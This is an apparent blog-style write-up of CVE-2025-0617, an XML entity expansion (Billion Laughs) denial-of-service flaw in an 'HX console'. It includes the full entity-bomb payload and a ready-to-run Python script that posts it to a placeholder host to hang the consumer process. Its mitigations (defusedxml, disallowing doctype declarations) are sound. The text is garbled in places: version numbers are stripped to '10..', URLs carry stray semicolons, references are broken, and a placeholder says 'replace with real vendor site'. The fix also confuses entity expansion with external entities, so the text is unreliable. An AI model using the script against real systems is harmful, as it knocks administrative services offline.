CVE-2025-0617 - Exploiting XML Entity Expansion to Crash Hx 10.. and Prior

CVE-2025-0617 targets a critical vulnerability in the HX console (version 10.. and earlier). If you run administrative systems based on Hx, you should read this. In this guide, I’ll break down what the issue is, how it’s abused, and how you can spot (and hopefully patch) it.

What is CVE-2025-0617?

This vulnerability revolves around something called "Exponential Entity Expansion" or the "Billion Laughs attack." If a hacker sends a carefully designed XML payload to the HX console, it can cause the "consumer process" component (which handles incoming data) to get stuck parsing endless XML entities. The result? Denial of Service (DoS): HX becomes unresponsive and may crash.

The scary part: This works on HX version 10.. and all previous versions.

Official Reference

- NIST NVD Listing for CVE-2025-0617 *(link may be pending detailed entry, depending on public databases)*

Who Is At Risk?

- Anyone with access: The attacker does not have to be an admin; just needs to send crafted data to the console.

Exploit Walkthrough: Billion Laughs Attack

The bug exists because the HX console's XML parser does not limit entity expansion. Here’s a basic idea of how the exploit XML looks.

<?xml version="1."?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>

What happens:

HX tries to expand them all — gobbles up memory and CPU.

- The HX consumer process hangs or crashes, and admins lose management/control until it's forcibly restarted.

With access to the HX API endpoint (replace HX_HOST and PORT with your values)

import requests

malicious_xml = """<?xml version="1."?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>
"""

headers = {'Content-Type': 'application/xml'}
r = requests.post("https://HX_HOST:PORT/console/consumer";, data=malicious_xml, headers=headers, verify=False)
print('Response:', r.status_code)

Note: Running this example will (if the target system is unpatched and accessible) freeze the consumer process! Do not exploit on systems you don’t own or have permission to test.

What Fixes Are Available?

Right now, the only safe solution is to disable XML external entity expansion in your application, or patch/upgrade to a fixed version as soon as the vendor provides one.

Here’s an example patch for Python applications (if you’re processing XML), though the official HX fix will involve updating to a safe release:

import defusedxml.ElementTree as ET

# This library disables dangerous entity expansions
tree = ET.parse('input.xml')
root = tree.getroot()

For Java-based servers: set your XML parser to not resolve external entities

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl";, true);

But for HX appliances, watch for official patches via HX's security page (replace with real vendor site).

References and Further Reading

- XML Entity Expansion Attacks - OWASP_Processing)
- Billion Laughs: What is it? (Wikipedia)
- NVD Entry for CVE-2025-0617 *(update as content becomes available)*
- CISA XML Threats Overview

Conclusion

CVE-2025-0617 is straightforward but devastating. Attackers with access to an HX endpoint can crash your admin interface with a simple XML file. Restrict access to your HX console, monitor for abnormal traffic spikes or crashed consumer processes, and patch as soon as your vendor releases an update. If you’re a developer, always sanitize and limit your XML parsing.

*Stay safe, and always read your XML documentation!*

Timeline

Published on: 01/29/2025 11:15:09 UTC